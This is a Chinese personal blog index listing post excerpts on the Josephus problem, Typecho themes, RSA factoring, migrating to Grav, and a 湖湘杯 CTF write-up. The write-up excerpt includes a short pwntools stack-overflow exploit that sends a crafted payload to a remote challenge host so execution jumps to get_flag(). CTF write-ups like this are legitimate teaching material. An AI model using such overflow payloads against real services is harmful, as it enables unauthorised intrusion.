根据相关法律法规,本站不对欧盟用户提供服务。

MENU

兼总条贯 知至知终

基于 Python 的 Josephus 问题解法

Josephus 问题:假设有 n 个人围坐一圈,现在要求从第 k 个人开始报数,报到第 m 个数的人退出。然后从下一个人开始继续报数并按同样的规则退出,直至所有人退出。要求按顺序输出各出列人的编号。

Read More

几个好看的 Typecho 主题

Typecho 已经好久都没更新了,不知道官方的插件中心和主题中心什么时候能出,现在找一个好看点的主题真是难啊。

Mirages

也就是现在在用的主题,收费,不过代码高亮、数学公式等功能齐全,效果也很好看,挺划算的。

Read More

湖湘杯 writeup

1 题目名 Pwnme

栈溢出,可以看到存在 get_flag() 函数,构造 payload 调用它即可。
input your choice 处填入 0xA4 个字节后可以溢出,然后更改指针到 get_flag() 处。

from pwn import *
p = remote('114.215.43.119', 10001)
p.sendline('5')
payload = 'A'*0xa4 + 'B'*0x04 +  p32(0x8048677)  
p.sendline(payload)
p.interactive()

pwnme1

Read More

RSA 中根据 (N, e, d) 求 (p, q)

湖湘杯有一道题是知道 $(N, e, d)$ 求 $(p, q)$,当时用了 $ e\cdot d - 1 = h \cdot \varphi (n) $ 这个公式,爆破 $h$,考虑 $ \varphi (n) $ 与 $ N $ 相差不大,可以认为位数相同,求出 $ \varphi (n) $ 之后再根据 $ N = p\cdot q $ 和 $ \varphi(n) = (p - 1)(q - 1) $ 联立一个方程。

Read More

用 Grav 搭建博客

之前的博客用 Hexo 生成,已经稳定跑了快一年。但是从搭建开始我就很烦 Nodejs,这东西在 Windows 下总有各种稀奇古怪的 bug,在 Linux 下倒是可以正常用,然而那意味着我得在 Windows 下写好博客再拖到虚拟机里去(因为专业需要工作平台只能放在 Windows 下),这无疑背离了静态博客生成器几行命令完成从生成到部署的优点。
之前还用过一阵 Gitblog,其实还是挺好用的,就是几个带的主题都不怎么好看,每次写完文章还得自己把 md 文件传到它的目录下,后来忘了什么原因弃用了 Gitblog 又转投 Hexo 了。
前几天看到有人用 Grav 搭建了博客,虽然主题也没多好看,但它的特性还挺符合我需求的。不需要数据库,可以带后台,插件主题也还算丰富,于是折腾了好几天终于转到了 Grav,简单记录一下遇到的坑吧。

Read More